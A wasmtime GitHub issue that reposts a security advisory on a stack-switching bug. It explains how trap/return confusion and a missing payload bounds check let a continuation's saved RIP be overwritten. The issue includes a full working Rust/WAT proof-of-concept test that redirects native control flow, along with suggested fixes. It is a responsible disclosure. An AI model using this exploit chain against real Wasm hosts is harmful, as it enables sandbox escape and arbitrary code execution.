bytecodealliance / bytecodealliance/wasmtime
Stack-switching crash with traps and missing bounds checks
- Dominant language
- Rust
- Stars
- 18.6k
- Forks
- 1.8k
- Avg merge
- 1d 19h
- Merged PRs (30d)
- 121
Description
> **Note**: the following is a paste of https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4pww-gw9q-vvvh which @k3mmio opened initially as a security advisory on Wasmtime. Stack-switching is not tier 1 at this time, however, so I'm reopening that bug report as an issue here in public instead. The advisory is now closed and this is a copy of the contents there.
# Continuation Control-Context Overwrite Reaches Arbitrary Native Control-Flow Redirection (Sandbox Escape)
## Executive Summary
The original issue is that a trapped continuation start can be misclassified as a normal return. That lets stale bits escape as if they were legitimate return values. Those stale bits are reused as a fresh continuation token, reinterpreted as a wider continuation type, and then used with oversized `cont.bind` payloads to overwrite the saved control-context words on the continuation stack. A later `resume` loads those overwritten words and jumps through the overwritten saved RIP.
Validated environment:
- commit `51959f238e5c65f535047a8bf4615b8b28a14429`
- x86_64-linux
- Cranelift backend
- `wasm_stack_switching(true)`
- `wasm_exceptions(true)`
- `wasm_function_references(true)`
- `wasm_gc(true)`
- `wasm_simd(true)`
## Background
### Continuations and `resume`
Wasmtime's stack-switching support implements continuations for Wasm. A continuation is created with `cont.new` and later entered with `resume`. Each continuation has:
- its own native stack,
- metadata describing parent / child relationships,
- payload buffers used to pass arguments and return values,
- a saved control context near the top of that native stack.
That saved control context is the native state that `stack_switch` restores when execution returns to a continuation.
### `VMContRef`, payload buffers, and the saved control context
The runtime representation is `VMContRef`. Two parts matter here:
- `args` / `values`, which are `VMHostArray` payload buffers,
- `stack`, which is the continuation's native stack allocation.
For fresh continuations, the `args` buffer is allocated directly below the saved control-context words at the top of stack. Wasmtime's own layout comment in `stack/unix.rs` describes that arrangement:
```text
top of stack
saved RIP
saved RBP
saved RSP
args_capacity
args buffer
```
That adjacency is why any oversized payload write into the fresh continuation's argument area is immediately security-relevant.
### `cont.bind`
`cont.bind` exists to pre-apply arguments to a continuation before a later `resume`. In the normal case that is fine. In the affected lane, it becomes dangerous because it writes payload values into the continuation storage area before the continuation runs again.
### `stack_switch` on x64
On x64, Cranelift's `stack_switch` lowering restores `rsp`, `rbp`, and `rip` from the continuation control context and then jumps to the loaded program counter. The relevant logic is straightforward:
```rust
exchange(rsp_offset, regs::rsp());
exchange(rbp_offset, regs::rbp());
let addr = SyntheticAmode::real(Amode::imm_reg(pc_offset, **load_context_ptr));
asm::inst::movq_rm::new(tmp1, addr).emit(sink, info, state);
...
asm::inst::jmpq_m::new(tmp1.to_reg()).emit(sink, info, state);
```
If the saved control-context words are attacker-controlled, native control flow is attacker-controlled.
## Root Cause
Sandbox escape requires two problems to line up.
### 1. Trap/return confusion at continuation start
The first issue is the already confirmed continuation-start bug.
In `fiber_start`, the boolean success/failure result from `VMFuncRef::array_call` is ignored:
```rust
VMFuncRef::array_call(func_ref, None, caller_vmxtx, params_and_returns);
args.length = return_value_count;
```
The x86_64 continuation trampoline then unconditionally reports an ordinary return:
```asm
call {fiber_start}
mov rdi, 0
jmp rsi
```
Together these reclassify a trap as a normal return and leave stale bits in a position where later code trusts them.
### 2. Oversized payload writes into the fresh continuation stack
The second issue is that continuation payload writes can exceed the fresh continuation's originally allocated argument capacity.
The relevant compiler helper increments length and computes a write pointer, but does not visibly enforce `new_length <= capacity` in the path that stores continuation payloads:
```rust
pub fn occupy_next_slots<'a>(
&self,
env: &mut crate::func_environ::FuncEnvironment<'a>,
builder: &mut FunctionBuilder,
arg_count: i32,
) -> ir::Value {
let data = self.get_data(env, builder);
let original_length = self.get_length(env, builder);
let new_length = builder.ins().iadd_imm(original_length, i64::from(arg_count));
self.set_length(env, builder, new_length);
...
builder.ins().iadd(data, byte_offset)
}
```
In the affected lane, a stale live continuation token is reintroduced as a wider continuation type and `cont.bind` writes three payload slots into a fresh continuation whose original `args_capacity` is only one slot. Because the fresh `args` buffer sits directly below the saved control context, the oversized write reaches:
- `args_capacity`,
- saved `rbp`,
- saved `rip`.
## End-to-End Impact Chain
1. Guest code creates a fresh continuation with a small argument/return footprint.
2. The continuation start traps before producing a legitimate return.
3. The trap/return confusion bug leaks stale bits as if they were a valid return value.
4. Those bits are reused as a live continuation token.
5. The token is reinterpreted as a wider continuation type.
6. `cont.bind` writes oversized payloads into the fresh continuation's argument area.
7. Those payloads overwrite the saved control-context words at the top of the continuation stack.
8. A later plain `resume` reaches Cranelift's x64 `stack_switch` path.
9. `stack_switch` loads `rsp`, `rbp`, and `rip` from the overwritten control context.
10. Native control flow transfers to the overwritten saved RIP.
## Proof of Impact
The current bundle uses two files together:
- `poc/continuation_arbitrary_rip_poc.rs`
### POC
```rust
#![cfg(all(unix, target_arch = "x86_64"))]
use std::env;
use std::process::Command;
use wasmtime::*;
#[cfg(unix)]
use std::os::unix::process::ExitStatusExt;
const CHILD_ENV: &str = "WASMTIME_CONTINUATION_ARBITRARY_RIP_CHILD";
const RBP_FILL: i64 = 0x1337_1337_1337_1337;
const CHOSEN_EXIT_CODE: i32 = 213;
const TARGET_MARKER: &[u8] = b"chosen_rip_target_hit\n";
#[inline(never)]
extern "C" fn chosen_rip_target() -> ! {
unsafe {
let _ = libc::write(
libc::STDERR_FILENO,
TARGET_MARKER.as_ptr().cast(),
TARGET_MARKER.len(),
);
libc::_exit(CHOSEN_EXIT_CODE);
}
}
fn configured_engine() -> Result {
let mut config = Config::new();
config.strategy(Strategy::Cranelift);
config
.wasm_gc(true)
.wasm_simd(true)
.wasm_function_references(true)
.wasm_exceptions(true)
.wasm_stack_switching(true);
Engine::new(&config)
}
fn module_text(chosen_rip: i64) -> String {
format!(
r#"
(module
(type $victim-ft (func (result i32)))
(type $victim-ct (cont $victim-ft))
(type $leak-ft-start (func (param (ref null $victim-ct)) (result i64)))
(type $leak-ft-suspended (func (result i64)))
(type $leak-ct-start (cont $leak-ft-start))
(type $leak-ct-suspended (cont $leak-ft-suspended))
(type $wide-ft-start (func (param i64 i64 v128) (result i32)))
(type $wide-ft-bound (func (result i32)))
(type $wide-ct-start (cont $wide-ft-start))
(type $wide-ct-bound (cont $wide-ft-bound))
(type $reinj-ft-start (func (param i64) (result (ref null $wide-ct-start))))
(type $reinj-ft-suspended (func (result (ref null $wide-ct-start))))
(type $reinj-ct-start (cont $reinj-ft-start))
(type $reinj-ct-suspended (cont $reinj-ft-suspended))
(type $tag-ft (func))
(tag $t (type $tag-ft))
(global $g (mut (ref null $wide-ct-bound)) (ref.null $wide-ct-bound))
(func $victim (type $victim-ft) (result i32)
i32.const 305419896
)
(func $trapper_leak (type $leak-ft-start)
(param (ref null $victim-ct)) (result i64)
unreachable
)
(func $trapper_reinj (type $reinj-ft-start)
(param i64) (result (ref null $wide-ct-start))
unreachable
)
(elem declare func $victim $trapper_leak $trapper_reinj)
(func (export "leak_token") (result i64)
(local $victim_cont (ref null $victim-ct))
(local $leaker (ref null $leak-ct-start))
(local.set $victim_cont (cont.new $victim-ct (ref.func $victim)))
(local.set $leaker (cont.new $leak-ct-start (ref.func $trapper_leak)))
(block $h (result (ref null $leak-ct-suspended))
(resume $leak-ct-start
(on $t $h)
(local.get $victim_cont)
(local.get $leaker))
return
(ref.null $leak-ct-suspended)
)
drop
i64.const -1
)
(func (export "bind_overflow_into_global") (param i64)
(local $reinj (ref null $reinj-ct-start))
(local $forged (ref null $wide-ct-start))
(local $bound (ref null $wide-ct-bound))
(local.set $reinj (cont.new $reinj-ct-start (ref.func $trapper_reinj)))
(block $h0 (result (ref null $reinj-ct-suspended))
(local.set $forged
(resume $reinj-ct-start
(on $t $h0)
(local.get 0)
(local.get $reinj)))
(local.set $bound
(cont.bind $wide-ct-start $wide-ct-bound
(i64.const 0x1111111111111111)
(i64.const 0x2222222222222222)
(v128.const i64x2 {RBP_FILL} {chosen_rip})
(local.get $forged)))
(global.set $g (local.get $bound))
return
(ref.null $reinj-ct-suspended)
)
drop
)
(func (export "resume_bound") (result i32)
(block $h1 (result (ref null $wide-ct-bound))
(resume $wide-ct-bound
(on $t $h1)
(global.get $g))
return
(ref.null $wide-ct-bound)
)
drop
i32.const -1
)
)
"#
)
}
fn child_case() -> Result<()> {
let chosen_rip = i64::try_from(chosen_rip_target as *const () as usize)
.expect("function address fits in i64");
let engine = configured_engine()?;
let module = Module::new(&engine, module_text(chosen_rip))?;
let mut store = Store::new(&engine, ());
let instance = Instance::new(&mut store, &module, &[])?;
let leak_token = instance.get_typed_func::<(), i64>(&mut store, "leak_token")?;
let bind = instance.get_typed_func::(&mut store, "bind_overflow_into_global")?;
let resume_bound = instance.get_typed_func::<(), i32>(&mut store, "resume_bound")?;
let token = leak_token.call(&mut store, ())?;
assert_ne!(token, 0, "expected non-null continuation token");
bind.call(&mut store, token)?;
let result = resume_bound.call(&mut store, ())?;
panic!("unexpectedly returned from overwritten control context with {result:#x}");
}
#[test]
fn overwritten_saved_rip_can_target_process_function() -> Result<()> {
if env::var_os(CHILD_ENV).is_some() {
return child_case();
}
let output = Command::new(env::current_exe()?)
.env(CHILD_ENV, "1")
.arg("--exact")
.arg("overwritten_saved_rip_can_target_process_function")
.arg("--nocapture")
.output()?;
let marker_hits = output
.stderr
.windows(TARGET_MARKER.len())
.filter(|window| *window == TARGET_MARKER)
.count();
match (output.status.code(), output.status.signal()) {
(Some(CHOSEN_EXIT_CODE), _) => {
assert_eq!(
marker_hits, 1,
"expected chosen RIP target to emit its marker exactly once; stderr was:\n{}",
String::from_utf8_lossy(&output.stderr)
);
Ok(())
}
#[cfg(unix)]
(_, Some(signal)) if matches!(signal, libc::SIGSEGV | libc::SIGBUS | libc::SIGILL) => {
panic!("expected controlled exit via chosen RIP target, got fatal signal {signal}");
}
_ => panic!(
"unexpected child status: {:?}\nstdout:\n{}\nstderr:\n{}",
output.status,
String::from_utf8_lossy(&output.stdout),
String::from_utf8_lossy(&output.stderr)
),
}
}
```
## Suggested Fix
There are two places to fix this safely.
### Primary fix: restore correct trap semantics
The original trap/return confusion should be fixed first.
That means:
1. `fiber_start` must honor the boolean result of `VMFuncRef::array_call`.
2. `args.length` must not be forced to a successful-return shape after a trap.
3. `wasmtime_continuation_start` must propagate the real control effect instead of always forcing ordinary return.
Without that, stale continuation data remains reachable.
### Secondary fix: enforce payload bounds
The continuation payload write path also needs an explicit bound check.
At a minimum:
1. reject payload writes where `original_length + arg_count > capacity`,
2. trap before performing the store,
3. avoid updating `length` on failure.
This closes the direct overwrite path even if some stale continuation object is reintroduced later.
## How to Run
Copy the file into `crates/wasmtime/tests/` and run:
```sh
cargo test -p wasmtime --test continuation_arbitrary_rip_poc --release -- --nocapture
```
Contributor guide
Assessment
This issue has not been assessed yet.